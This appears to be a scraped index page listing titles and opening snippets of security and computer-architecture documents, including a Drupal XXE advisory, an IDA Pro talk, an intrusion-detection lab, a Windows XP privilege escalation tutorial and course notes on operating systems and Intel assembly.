Pre-authentication XXE vulnerability in the Services Drupal module
Pre-authentication XXE vulnerability in the Services Drupal module Security advisory 24/04/2015 Renaud Dubourguais www.synacktiv.com 14 rue Mademoiselle 75015 Paris 1. Vulnerability description 1.1. The
Attacking Obfuscated Code with IDA Pro. Chris Eagle
Attacking Obfuscated Code with IDA Pro Chris Eagle Outline Introduction Operation Demos Summary 2 First Order Of Business MOVE UP AND IN! There is plenty of room up front I can't increase the font size
Lab exercise: Working with Wireshark and Snort for Intrusion Detection
CS 491S: Computer and Network Security Fall 2008 Lab exercise: Working with Wireshark and Snort for Intrusion Detection Abstract: This lab is intended to give you experience with two key tools used by
Demonstration of Windows XP Privilege Escalation Exploit
Demonstration of Windows XP Privilege Escalation Exploit This article is a tutorial on how to trick Windows XP into giving you system privileges. Using simple command line tools on a machine running Windows
SY0-201. system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.
system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users. From a high-level standpoint, attacks on computer systems and networks can be grouped
Intel 8086 architecture
Intel 8086 architecture Today we ll take a look at Intel s 8086, which is one of the oldest and yet most prevalent processor architectures around. We ll make many comparisons between the MIPS and 8086
The Plan Today... System Calls and API's Basics of OS design Virtual Machines
System Calls + The Plan Today... System Calls and API's Basics of OS design Virtual Machines System Calls System programs interact with the OS (and ultimately hardware) through system calls. Called when
MACHINE ARCHITECTURE & LANGUAGE
in the name of God the compassionate, the merciful notes on MACHINE ARCHITECTURE & LANGUAGE compiled by Jumong Chap. 9 Microprocessor Fundamentals A system designer should consider a microprocessor-based
Understanding Computer Viruses: What They Can Do, Why People Write Them and How to Defend Against Them
Lab Exercises Understanding Computer Viruses: What They Can Do, Why People Write Them and How to Defend Against Them Review Questions 1) In class, we made the distinction between a front-door attack and
An Analysis of Address Space Layout Randomization on Windows Vista
ADVANCED THREAT RESEARCH 2007 Symantec Corporation 1 An Analysis of Address Space Layout Randomization on Windows Vista Ollie Whitehouse, Architect, Symantec Advanced Threat Research Abstract: Address
Security: Attack and Defense
Security: Attack and Defense Aaron Hertz Carnegie Mellon University Outline! Breaking into hosts! DOS Attacks! Firewalls and other tools 15-441 Computer Networks Spring 2003 Breaking Into Hosts! Guessing
W4118 Operating Systems. Junfeng Yang
W4118 Operating Systems Junfeng Yang Outline Linux overview Interrupt in Linux System call in Linux What is Linux A modern, open-source OS, based on UNIX standards 1991, 0.1 MLOC, single developer Linus
Unpacked BCD Arithmetic. BCD (ASCII) Arithmetic. Where and Why is BCD used? From the SQL Server Manual. Packed BCD, ASCII, Unpacked BCD
BCD (ASCII) Arithmetic The Intel Instruction set can handle both packed (two digits per byte) and unpacked BCD (one decimal digit per byte) We will first look at unpacked BCD Unpacked BCD can be either
